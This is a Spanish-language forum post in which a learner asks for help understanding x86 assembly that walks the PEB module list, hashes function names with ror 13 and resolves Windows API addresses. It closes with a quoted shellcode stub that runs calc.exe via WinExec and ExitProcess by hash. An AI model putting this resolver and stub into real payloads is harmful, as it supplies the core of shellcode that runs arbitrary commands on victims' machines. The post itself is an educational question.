Me podrian ayudar a entender esto
Código
api_call: pushad ;registros a pila mov ebp, esp xor edx, edx mov edx, [fs:edx+48] ;puntero a PEB mov edx, [edx+12] ;puntero a LDR mov edx, [edx+20] ;puntero al primer modulo de la lista de InMemoryOrder next_mod: mov esi, [edx+40] ;puntero al nombre de los modulos movzx ecx, word [edx+38] ;logitud a verficar xor edi, edi
Esta parte no la entiendo... se movera a esi edx+40, supuestamente es el puntero a los modulos pero donde encuentro informacion sobre el porque edx+40 apunta a los nombres
movzx tengo entendido que es para mover a un destino rellenando con ceros, pero porque un word [edx+38]?
Código
loop_modname: xor eax, eax lodsb cmp al, 'a' ;el nombre del modulo esta en minuscula jl not_lowercase ;lo pasamos sub al, 0x20 ;a mayuscula not_lowercase: ror edi, 13 ;rotamos hacia la derecha add edi, eax ;el valor del hash loop loop_modname ;hasta ecx=0
Aqui quiero creer que lo que pasa es que lodsb leera byte por byte de mov esi, y lo metera en ax, se hara una comparacion con los ultimos 8 bits y si resulta a minuscula se hara mayuscula y saltara a not_lowercase
entiendo que ror es para voltear a la derecha, pero porque 13?, add hace una suma de edi + eax?, y como que el hash?, el que yo le pongo por ejemplo
push 0x876F8B31 ;hash para WinExec a pila
o cual hash?
y me imagino que el loop hace que repita ecx que se relizo en next_mod
Código
push edx ;Posicion push edi ;y hash del modulo actual a pila mov edx, [edx+16] ;direccion base del modulo a edx mov eax, [edx+60] ;cabecera PE a eax add eax, edx mov eax, [eax+120] ;EAT a eax test eax, eax ;hay EAT? jz get_next_mod1 ;no, siguiente modulo add eax, edx push eax ;EAT del modulo a pila mov ecx, [eax+24] ;numero de funciones del modulo a ecx mov ebx, [eax+32] ;RVA de las funciones a ebx add ebx, edx
Código
push edx ;Posicion push edi ;y hash del modulo actual a pila
Esto creo que es edx del inicio, puntero del primer modulo, y el hash que se caba de encontrar, el cual todavia no entiendo cual
Código
mov edx, [edx+16] ;direccion base del modulo a edx
este me imagino que es PVOID BaseAddress
Código
mov eax, [edx+60] ;cabecera PE a eax add eax, edx mov eax, [eax+120] ;EAT a eax test eax, eax ;hay EAT? jz get_next_mod1 ;no, siguiente modulo
creo que es el PE de kernel32.dll y la suma de eax y edx mas 120 me llevara a EAT, si no hay entonces llegare a get_next_mod1
Código
get_next_mod1: pop edi ;hash del siguiente modulo a eax pop edx ;posicion donde quedamos en la lista de modulos a edx mov edx, [edx] ;puntero al siguiente modulo jmp short next_mod
me imagino que saco de la pila edi, edx y regresamos a la posicion de antes y se repite next_mod
Código
add eax, edx push eax ;EAT del modulo a pila mov ecx, [eax+24] ;numero de funciones del modulo a ecx mov ebx, [eax+32] ;RVA de las funciones a ebx add ebx, edx
posiblemente aqui se encuentra EAT me llevara a RVA donde estan las funciones del modulo
Código
get_next_func: jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo dec ecx ;numero de la funcion - 1 mov esi, [ebx+ecx*4] ;RVA de la funcion a esi add esi, edx xor edi, edi
pero me imagino que pasa si se leen tods las funciones, aunque no entiendo como funcionaria
Código
loop_funcname: xor eax, eax lodsb ;byte por byte del nombre de la funcion en ASCII ror edi, 13 ;buscamos add edi, eax ;el caracter cmp al, ah ;nulo que indica el final de la cadena jne loop_funcname ;hasta tener el hash completo de la funcion add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion cmp edi, [ebp+36] ;es la que buscamos? jnz get_next_func ;no, sigamos con la siguiente funcion pop eax ;EAT del modulo a eax mov ebx, [eax+36] ;conseguimos RVA add ebx, edx ;le a?adimos la direccion base del modulo mov cx, [ebx+2*ecx] mov ebx, [eax+28] ;RVA de la funciones a ebx add ebx, edx ;le a?adimos la direccion base del modulo mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax finish: mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor
Y para finalizar
Me imagino que se hace exactamente lo mismo para buscar la funcion con loop
Código
loop_funcname: xor eax, eax lodsb ;byte por byte del nombre de la funcion en ASCII ror edi, 13 ;buscamos add edi, eax ;el caracter cmp al, ah ;nulo que indica el final de la cadena jne loop_funcname ;hasta tener el hash completo de la funcion
esto no entiendo que hace, solo se que sirve para verfiricar que es la que buscamos, pero porque ebp-8 y ebp+36
Código
add edi, [ebp-8] ;edi=hash del modulo+hash de la funcion cmp edi, [ebp+36] ;es la que buscamos? jnz get_next_func ;no, sigamos con la siguiente funcion
Aqui y solo me imagino que es agregar a la pila todo los datos
Código
pop eax ;EAT del modulo a eax mov ebx, [eax+36] ;conseguimos RVA add ebx, edx ;le a?adimos la direccion base del modulo mov cx, [ebx+2*ecx] mov ebx, [eax+28] ;RVA de la funciones a ebx add ebx, edx ;le a?adimos la direccion base del modulo mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax add eax, edx ;le a?adimos la direccion base del modulo y listo, en eax
y finalizamos
Código
finish: mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor
Perdon se que son muchas preguntas pero espero me puedan ayudar poco a poco, porque ya pase varios dias leyendo y googlendo sobre muchas cosas, afortundente el formato PE lo logre entender y bueno el manual que hay para formato PE sobre windows pues sigo leyendo
varias funciones que desconocia de ASM las sigo aprendiendo, ya logre hacer una shell con las direcciones de WinExec y ExitProcess, me costo un poco de trabajo porque no sabia como hacer un push a "db 'cmd.exe', 0'"... XD
y buscando me di cuenta que con esas mismas direcciones se puede ejecutar una shell con PEB, esto lo encontre del blog Harmony Security
Código
[BITS 32] [ORG 0] cld // clear the direction flag call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x86_api_call.asm" start: pop ebp // pop off the address of 'api_call' for calling later push byte +1 // push the command show parameter lea eax, [ebp+command-delta] // calculate an address to the command line push eax // push the command line parameter push 0x876F8B31 // push the hash value for WinExec call ebp // kernel32.dll!WinExec( &command, SW_NORMAL ) push byte 0 // push the desired exit code parameter push 0x56A2B5F0 // push the hash value for ExitProcess call ebp // call kernel32.dll!ExitProcess( 0 ) command: db "calc.exe", 0
y pues estoy interesado en aprender a hacer cosas como esas
bueno, espero me puedan ayudar
salu2